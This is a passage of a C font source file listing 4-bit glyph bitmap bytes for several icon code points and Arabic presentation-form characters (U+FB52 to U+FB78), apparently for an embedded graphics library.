0x0, 0x0, 0x0, 0x0, 0xf, 0xff, 0xff, 0xff,
0xff, 0xff, 0xf0, 0xf, 0xff, 0xff, 0xff, 0xff,
0xff, 0xf0, 0xf, 0xf9, 0x9f, 0x99, 0xf9, 0x9f,
0xf0, 0xf, 0xf8, 0x8f, 0x88, 0xf8, 0x8f, 0xf0,
0xf, 0xf8, 0x8f, 0x88, 0xf8, 0x8f, 0xf0, 0xf,
0xf8, 0x8f, 0x88, 0xf8, 0x8f, 0xf0, 0xf, 0xf8,
0x8f, 0x88, 0xf8, 0x8f, 0xf0, 0xf, 0xf8, 0x8f,
0x88, 0xf8, 0x8f, 0xf0, 0xf, 0xf8, 0x8f, 0x88,
0xf8, 0x8f, 0xf0, 0xf, 0xf9, 0x9f, 0x99, 0xf9,
0x9f, 0xf0, 0xf, 0xff, 0xff, 0xff, 0xff, 0xff,
0xf0, 0x8, 0xff, 0xff, 0xff, 0xff, 0xff, 0x80,
/* U+F304 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7f, 0xa0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xb0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd, 0xff,
0xff, 0xa0, 0x0, 0x0, 0x0, 0x0, 0x8a, 0x1d,
0xff, 0xff, 0x0, 0x0, 0x0, 0x0, 0x8f, 0xfa,
0x1d, 0xff, 0x70, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xfa, 0x1d, 0x80, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xff, 0xfa, 0x0, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x8f, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x6f, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0xb, 0xff,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0xdf,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0xe,
0xff, 0xff, 0x80, 0x0, 0x0, 0x0, 0x0, 0x0,
0xde, 0xdb, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0,
/* U+F55A "" */
0x0, 0x0, 0x1b, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xe4, 0x0, 0x1, 0xdf, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xfe, 0x0, 0x1d, 0xff, 0xff,
0xfa, 0xef, 0xfe, 0xaf, 0xff, 0xff, 0x1, 0xdf,
0xff, 0xff, 0xa0, 0x2e, 0xe2, 0xa, 0xff, 0xff,
0x1d, 0xff, 0xff, 0xff, 0xe2, 0x2, 0x20, 0x2e,
0xff, 0xff, 0xcf, 0xff, 0xff, 0xff, 0xfe, 0x20,
0x2, 0xef, 0xff, 0xff, 0xcf, 0xff, 0xff, 0xff,
0xfe, 0x20, 0x2, 0xef, 0xff, 0xff, 0x1d, 0xff,
0xff, 0xff, 0xe2, 0x2, 0x20, 0x2e, 0xff, 0xff,
0x1, 0xdf, 0xff, 0xff, 0xa0, 0x2e, 0xe2, 0xa,
0xff, 0xff, 0x0, 0x1d, 0xff, 0xff, 0xfa, 0xef,
0xfe, 0xaf, 0xff, 0xff, 0x0, 0x1, 0xdf, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x0, 0x0,
0x1b, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe4,
/* U+F7C2 "" */
0x0, 0x8, 0xff, 0xff, 0xff, 0xe4, 0x0, 0x8f,
0xff, 0xff, 0xff, 0xfe, 0x8, 0xf8, 0xf, 0xb,
0x40, 0xff, 0x8f, 0xf8, 0xf, 0xb, 0x40, 0xff,
0xff, 0xf8, 0xf, 0xb, 0x40, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xef, 0xff, 0xff, 0xff,
0xff, 0xfe, 0x4e, 0xff, 0xff, 0xff, 0xff, 0xe4,
/* U+F8A2 "" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3,
0xe0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x2,
0xef, 0x10, 0x0, 0xbf, 0x0, 0x0, 0x0, 0x0,
0x7f, 0xf1, 0x0, 0xcf, 0xf1, 0x0, 0x0, 0x0,
0x7, 0xff, 0x11, 0xcf, 0xff, 0x77, 0x77, 0x77,
0x77, 0xbf, 0xf1, 0xcf, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x17, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xe0, 0x7, 0xff, 0xf1, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x6, 0xff, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0xa0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
/* U+FB52 "ﭒ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x89, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x10,
0x0, 0x0, 0x0, 0x0, 0x0, 0x89, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0, 0x0,
/* U+FB53 "ﭓ" */
0xbb, 0x0, 0x0, 0x0, 0x0, 0x9, 0xc0, 0xf,
0x70, 0x0, 0x0, 0x0, 0x0, 0xae, 0x0, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xaf, 0xf1, 0x5, 0xfe,
0x97, 0x78, 0xad, 0xfe, 0x7f, 0xc6, 0x3, 0xae,
0xff, 0xec, 0x95, 0x0, 0x4e, 0xd0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0x90, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0x0, 0x0,
/* U+FB54 "ﭔ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x0,
0x3e, 0x0, 0x0, 0x20, 0x0, 0x3e, 0x0, 0x0,
0x20,
/* U+FB55 "ﭕ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
/* U+FB56 "ﭖ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0xa9, 0x90, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11,
0x0, 0x0, 0x0, 0x0, 0x0, 0x89, 0x0, 0x0,
0x0, 0x0, 0x0, 0x1, 0x10, 0x0, 0x0, 0x0,
/* U+FB57 "ﭗ" */
0xbb, 0x0, 0x0, 0x0, 0x0, 0x9, 0xc0, 0xf,
0x70, 0x0, 0x0, 0x0, 0x0, 0xae, 0x0, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xaf, 0xf1, 0x5, 0xfe,
0x97, 0x78, 0xad, 0xfe, 0x7f, 0xc6, 0x3, 0xae,
0xff, 0xec, 0x95, 0x0, 0x4e, 0xd0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x11,
0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8, 0x90,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0x0, 0x0,
/* U+FB58 "ﭘ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x3,
0xf4, 0xe0, 0x2, 0x2, 0x0, 0x3e, 0x0, 0x0,
0x20,
/* U+FB59 "ﭙ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20,
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0,
/* U+FB5A "ﭚ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x5b, 0xb0,
0x0, 0x0, 0x0, 0x0, 0x9c, 0xf7, 0x0, 0x0,
0x0, 0x0, 0xc, 0xbd, 0xb0, 0x0, 0x0, 0x0,
0x2a, 0xf4, 0x5f, 0xd8, 0x66, 0x8a, 0xdf, 0xe5,
0x0, 0x3a, 0xef, 0xfe, 0xc9, 0x50, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0xa9, 0x90, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11,
0x0, 0x0, 0x0, 0x0, 0x8, 0xa9, 0x90, 0x0,
0x0, 0x0, 0x0, 0x11, 0x11, 0x0, 0x0, 0x0,
/* U+FB5B "ﭛ" */
0xbb, 0x0, 0x0, 0x0, 0x0, 0x9, 0xc0, 0xf,
0x70, 0x0, 0x0, 0x0, 0x0, 0xae, 0x0, 0xdb,
0x0, 0x0, 0x0, 0x2, 0xaf, 0xf1, 0x5, 0xfe,
0x97, 0x78, 0xad, 0xfe, 0x7f, 0xc6, 0x3, 0xae,
0xff, 0xec, 0x95, 0x0, 0x4e, 0xd0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x11,
0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8a, 0x99,
0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x11, 0x10,
0x0, 0x0, 0x0,
/* U+FB5C "ﭜ" */
0x0, 0x38, 0x0, 0x6, 0xf1, 0x0, 0x7f, 0x1,
0x7e, 0xc0, 0x2f, 0xd3, 0x0, 0x0, 0x0, 0x3,
0xf4, 0xe0, 0x2, 0x2, 0x3, 0xf4, 0xe0, 0x2,
0x2,
/* U+FB5D "ﭝ" */
0x0, 0x38, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f,
0x20, 0x17, 0xef, 0xc7, 0x2f, 0xc8, 0xef, 0x0,
0x0, 0x0, 0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20,
0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20,
/* U+FB5E "ﭞ" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0, 0x8,
0x90, 0x0, 0x0, 0x5, 0x70, 0x0, 0x11, 0x0,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+FB5F "ﭟ" */
0x0, 0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x11, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8, 0x90, 0x0, 0x0, 0x0, 0x5, 0x70,
0x0, 0x11, 0x0, 0x0, 0x9c, 0x0, 0xe8, 0x0,
0x0, 0x0, 0x0, 0xa, 0xe0, 0xe, 0xa0, 0x0,
0x0, 0x0, 0x2a, 0xff, 0x10, 0x7f, 0xd9, 0x77,
0x8a, 0xdf, 0xf8, 0xfc, 0x60, 0x4a, 0xef, 0xfe,
0xca, 0x51, 0x4, 0xed,
/* U+FB60 "ﭠ" */
0x0, 0x3e, 0x0, 0x0, 0x20, 0x0, 0x3e, 0x0,
0x0, 0x20, 0x0, 0x0, 0x0, 0x4, 0xc0, 0x0,
0x6f, 0x0, 0x7, 0xf0, 0x18, 0xec, 0x2, 0xfc,
0x20,
/* U+FB61 "ﭡ" */
0x0, 0x3e, 0x0, 0x0, 0x2, 0x0, 0x0, 0x3e,
0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0,
0x4c, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f, 0x20,
0x18, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FB62 "ﭢ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0, 0x8a,
0x99, 0x0, 0x0, 0x5, 0x70, 0x1, 0x11, 0x10,
0x0, 0x9c, 0xe8, 0x0, 0x0, 0x0, 0x0, 0xb,
0xce, 0xa0, 0x0, 0x0, 0x0, 0x7, 0xf7, 0x7f,
0xd8, 0x66, 0x79, 0xcf, 0xf8, 0x0, 0x4a, 0xef,
0xfe, 0xc9, 0x61, 0x0,
/* U+FB63 "ﭣ" */
0x0, 0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x0,
0x0, 0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0,
0x0, 0x8a, 0x99, 0x0, 0x0, 0x0, 0x5, 0x70,
0x1, 0x11, 0x10, 0x0, 0x9c, 0x0, 0xe8, 0x0,
0x0, 0x0, 0x0, 0xa, 0xe0, 0xe, 0xa0, 0x0,
0x0, 0x0, 0x2a, 0xff, 0x10, 0x7f, 0xd9, 0x77,
0x8a, 0xdf, 0xf8, 0xfc, 0x60, 0x4a, 0xef, 0xfe,
0xca, 0x51, 0x4, 0xed,
/* U+FB64 "ﭤ" */
0x3, 0xf4, 0xe0, 0x2, 0x2, 0x3, 0xf4, 0xe0,
0x2, 0x2, 0x0, 0x0, 0x0, 0x4, 0xc0, 0x0,
0x6f, 0x0, 0x7, 0xf0, 0x18, 0xec, 0x2, 0xfc,
0x20,
/* U+FB65 "ﭥ" */
0x3, 0xf4, 0xe0, 0x0, 0x20, 0x20, 0x3, 0xf4,
0xe0, 0x0, 0x20, 0x20, 0x0, 0x0, 0x0, 0x0,
0x4c, 0x0, 0x0, 0x6f, 0x10, 0x0, 0x7f, 0x20,
0x18, 0xef, 0xc7, 0x2f, 0xc8, 0xef,
/* U+FB66 "ﭦ" */
0x0, 0x0, 0x23, 0x0, 0x0, 0x0, 0x0, 0x0,
0x5, 0x70, 0x0, 0x0, 0x0, 0x0, 0x0, 0x57,
0x66, 0x0, 0x0, 0x0, 0x0, 0x5, 0xe7, 0xe0,
0x0, 0x0, 0x0, 0x0, 0xbb, 0xa6, 0x0, 0x1,
0x18, 0x90, 0x0, 0x0, 0x0, 0x0, 0x9c, 0xe7,
0x0, 0x0, 0x0, 0x0, 0xb, 0xce, 0xa0, 0x0,
0x0, 0x0, 0x18, 0xf6, 0x6f, 0xd8, 0x66, 0x7a,
0xcf, 0xf7, 0x0, 0x4a, 0xef, 0xfe, 0xc9, 0x61,
0x0,
/* U+FB67 "ﭧ" */
0x0, 0x0, 0x57, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x5, 0x75, 0x50, 0x0, 0x0, 0x0, 0x0,
0x0, 0x5d, 0x7e, 0x0, 0x0, 0x0, 0x0, 0x0,
0xb, 0xba, 0x60, 0x0, 0x12, 0x0, 0x89, 0x0,
0x0, 0x0, 0x0, 0x8, 0xc0, 0xe, 0x70, 0x0,
0x0, 0x0, 0x0, 0xbe, 0x0, 0xeb, 0x0, 0x0,
0x0, 0x2, 0xbf, 0xf1, 0x6, 0xfe, 0x97, 0x78,
0xad, 0xff, 0x7f, 0xc6, 0x3, 0xae, 0xff, 0xec,
0x95, 0x0, 0x4e, 0xd0,
/* U+FB68 "ﭨ" */
0x1, 0xb0, 0x0, 0x1, 0xb3, 0x60, 0x1, 0xe9,
0xa5, 0x8, 0xec, 0xb1, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5d, 0x0, 0x0, 0x6f, 0x0,
0x0, 0x7f, 0x0, 0x18, 0xeb, 0x0, 0x2f, 0xc2,
0x0,
/* U+FB69 "ﭩ" */
0x1, 0xb0, 0x0, 0x1, 0xb3, 0x60, 0x1, 0xe9,
0xa5, 0x8, 0xec, 0xb1, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x5d, 0x0, 0x0, 0x6f, 0x10,
0x0, 0x7f, 0x20, 0x18, 0xef, 0xc7, 0x2f, 0xc8,
0xef,
/* U+FB6A "ﭪ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x37, 0x50, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5f, 0xff, 0x80, 0x0, 0x0, 0x0,
0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0, 0x0, 0x0,
0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0, 0x0, 0x0,
0x4, 0xff, 0xef, 0x2f, 0x70, 0x0, 0x0, 0x0,
0x0, 0x26, 0xf0, 0xea, 0x0, 0x0, 0x0, 0x0,
0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12, 0x35, 0x8d,
0xfd, 0x10, 0x6, 0xef, 0xff, 0xff, 0xff, 0xb6,
0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0, 0x0,
0x0,
/* U+FB6B "ﭫ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x1f, 0x10, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1, 0xaf, 0xc2, 0x0,
0x11, 0x0, 0x0, 0x0, 0xb, 0xf9, 0xee, 0x0,
0xca, 0x0, 0x0, 0x0, 0xd, 0xa0, 0x5f, 0x20,
0xf8, 0x0, 0x0, 0x0, 0x9, 0xe1, 0x6f, 0x0,
0xaf, 0x83, 0x22, 0x22, 0x35, 0xfd, 0xfd, 0x75,
0x9, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xdf, 0xfb,
0x0, 0x3, 0x44, 0x43, 0x32, 0x0, 0x0, 0x0,
/* U+FB6C "ﭬ" */
0x0, 0x0, 0xa8, 0x0, 0x0, 0x0, 0x11, 0x0,
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0x1, 0x76, 0x0, 0x0, 0x2e, 0xff, 0xc0,
0x0, 0x8f, 0x24, 0xf6, 0x0, 0x8f, 0x23, 0xf7,
0x0, 0x1d, 0xff, 0xf6, 0x0, 0x0, 0x27, 0xf3,
0x17, 0x77, 0xaf, 0xb0, 0x2f, 0xff, 0xe9, 0x10,
/* U+FB6D "ﭭ" */
0x0, 0x0, 0x8a, 0x0, 0x0, 0x0, 0x0, 0x11,
0x0, 0x0, 0x0, 0x8, 0xa8, 0x90, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x7, 0xff, 0x90, 0x0, 0x0, 0x3f,
0xb9, 0xf4, 0x0, 0x0, 0x5f, 0x20, 0xf7, 0x0,
0x0, 0x2f, 0x86, 0xf4, 0x0, 0x17, 0x7e, 0xff,
0xf7, 0x71, 0x2f, 0xfe, 0xba, 0xef, 0xf4,
/* U+FB6E "ﭮ" */
0x0, 0x0, 0x0, 0x0, 0x1, 0xf3, 0xf1, 0x0,
0x0, 0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x2, 0x2, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x37, 0x50, 0x0, 0x0, 0x0,
0x0, 0x0, 0x5f, 0xff, 0x80, 0x0, 0x0, 0x0,
0x0, 0xc, 0xc1, 0x8f, 0x10, 0x0, 0x0, 0x0,
0x0, 0xcc, 0x17, 0xf3, 0xbb, 0x0, 0x0, 0x0,
0x4, 0xff, 0xef, 0x2f, 0x70, 0x0, 0x0, 0x0,
0x0, 0x26, 0xf0, 0xea, 0x0, 0x0, 0x0, 0x0,
0x6, 0xfb, 0x7, 0xfa, 0x42, 0x12, 0x35, 0x8d,
0xfd, 0x10, 0x6, 0xef, 0xff, 0xff, 0xff, 0xb6,
0x0, 0x0, 0x0, 0x24, 0x44, 0x31, 0x0, 0x0,
0x0,
/* U+FB6F "ﭯ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0xf3, 0xf0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x20, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x1, 0xaf, 0xc2, 0x0,
0x11, 0x0, 0x0, 0x0, 0xb, 0xf9, 0xee, 0x0,
0xca, 0x0, 0x0, 0x0, 0xd, 0xa0, 0x5f, 0x20,
0xf8, 0x0, 0x0, 0x0, 0x9, 0xe1, 0x6f, 0x0,
0xaf, 0x83, 0x22, 0x22, 0x35, 0xfd, 0xfd, 0x75,
0x9, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xdf, 0xfb,
0x0, 0x3, 0x44, 0x43, 0x32, 0x0, 0x0, 0x0,
/* U+FB70 "ﭰ" */
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0xa, 0x8b, 0x70, 0x0, 0x1, 0x11, 0x10,
0x0, 0x1, 0x76, 0x0, 0x0, 0x2e, 0xff, 0xc0,
0x0, 0x8f, 0x24, 0xf6, 0x0, 0x8f, 0x23, 0xf7,
0x0, 0x1d, 0xff, 0xf6, 0x0, 0x0, 0x27, 0xf3,
0x17, 0x77, 0xaf, 0xb0, 0x2f, 0xff, 0xe9, 0x10,
/* U+FB71 "ﭱ" */
0x0, 0x8, 0xa8, 0x90, 0x0, 0x0, 0x1, 0x11,
0x10, 0x0, 0x0, 0x8, 0xa8, 0x90, 0x0, 0x0,
0x1, 0x11, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x7, 0xff, 0x90, 0x0, 0x0, 0x3f,
0xb9, 0xf4, 0x0, 0x0, 0x5f, 0x20, 0xf7, 0x0,
0x0, 0x2f, 0x86, 0xf4, 0x0, 0x17, 0x7e, 0xff,
0xf7, 0x71, 0x2f, 0xfe, 0xba, 0xef, 0xf4,
/* U+FB72 "ﭲ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x9e, 0xed, 0xff,
0xe9, 0x0, 0x41, 0x3d, 0xe8, 0x41, 0x0, 0x3,
0xfa, 0x0, 0x0, 0x0, 0xc, 0xc0, 0x0, 0x0,
0x0, 0x3f, 0x30, 0xe, 0x30, 0x0, 0x6f, 0x0,
0x2, 0x0, 0x0, 0x5f, 0x10, 0xf, 0x30, 0x0,
0x1f, 0x80, 0x2, 0x0, 0x0, 0x8, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x6d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB73 "ﭳ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xff, 0xe7, 0x0, 0x0,
0xbf, 0x88, 0xd0, 0x0, 0x7, 0xf4, 0x1, 0xf3,
0x0, 0xf, 0x90, 0x0, 0xac, 0x0, 0x4f, 0x20,
0xb7, 0x1e, 0xc3, 0x6f, 0x0, 0x11, 0x3, 0xd7,
0x5f, 0x20, 0xb7, 0x0, 0x0, 0x1f, 0x90, 0x21,
0x0, 0x0, 0x7, 0xfa, 0x31, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+FB74 "ﭴ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x79, 0xdf, 0xf9, 0x0,
0x0, 0x0, 0x2c, 0xfa, 0x0, 0x0, 0x2, 0xef,
0x60, 0x0, 0x0, 0x3e, 0xd2, 0x0, 0x17, 0x8b,
0xfc, 0x10, 0x0, 0x2f, 0xeb, 0x60, 0x0, 0x0,
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x2,
0x0, 0x0, 0x0, 0x0, 0xe, 0x40, 0x0, 0x0,
0x0, 0x2, 0x0, 0x0,
/* U+FB75 "ﭵ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0x0, 0xcf,
0xfe, 0xb7, 0x20, 0x0, 0x0, 0x45, 0x79, 0xcf,
0xf9, 0x0, 0x0, 0x0, 0x0, 0x2d, 0xfa, 0x0,
0x0, 0x0, 0x2, 0xef, 0xd0, 0x0, 0x0, 0x0,
0x3e, 0xe9, 0xf5, 0x0, 0x17, 0x8b, 0xfd, 0x20,
0xcf, 0x83, 0x2f, 0xeb, 0x60, 0x0, 0x1a, 0xf7,
0x0, 0x0, 0xe, 0x40, 0x0, 0x0, 0x0, 0x0,
0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0xe, 0x40,
0x0, 0x0, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0,
/* U+FB76 "ﭶ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x98, 0x5b, 0xfe, 0xb6, 0x0, 0x0,
0xbf, 0x70, 0x0, 0x0, 0x7, 0xf4, 0x0, 0x0,
0x0, 0xf, 0x80, 0x0, 0x0, 0x0, 0x4f, 0x20,
0x20, 0x20, 0x0, 0x6f, 0x0, 0xe4, 0xf3, 0x0,
0x5f, 0x20, 0x0, 0x0, 0x0, 0x1f, 0x90, 0x0,
0x0, 0x0, 0x7, 0xfa, 0x41, 0x14, 0xa4, 0x0,
0x5d, 0xff, 0xff, 0xc2, 0x0, 0x0, 0x13, 0x31,
0x0,
/* U+FB77 "ﭷ" */
0x0, 0x0, 0x0, 0x0, 0x0, 0x7c, 0xff, 0xff,
0xd8, 0x0, 0x97, 0x5b, 0xff, 0xe6, 0x0, 0x0,
0xce, 0x67, 0xe0, 0x0, 0xa, 0xe2, 0x1, 0xf4,
0x0, 0x2f, 0x60, 0x0, 0x9d, 0x10, 0x5f, 0x12,
0x12, 0x2e, 0xe5, 0x6f, 0x1b, 0x7c, 0x63, 0xd7,
0x2f, 0x70, 0x0, 0x0, 0x0, 0x9, 0xf9, 0x31,
0x13, 0x83, 0x0, 0x7d, 0xff, 0xff, 0xc2, 0x0,
0x0, 0x13, 0x31, 0x0,
/* U+FB78 "ﭸ" */
0x0, 0x12, 0x10, 0x0, 0x0, 0x0, 0xcf, 0xfe,
0xb7, 0x20, 0x0, 0x45, 0x79, 0xdf, 0xf9, 0x0,
0x0, 0x0, 0x2c, 0xfa, 0x0, 0x0, 0x2, 0xef,
0x60, 0x0, 0x0, 0x3e, 0xd2, 0x0, 0x17, 0x8b,
0xfc, 0x10, 0x0, 0x2f, 0xeb, 0x60, 0x0, 0x0,
0x0, 0x0, 0xe4, 0xe4, 0x0, 0x0, 0x0, 0x20,
0x20, 0x0,
/* U+FB79 "ﭹ" */
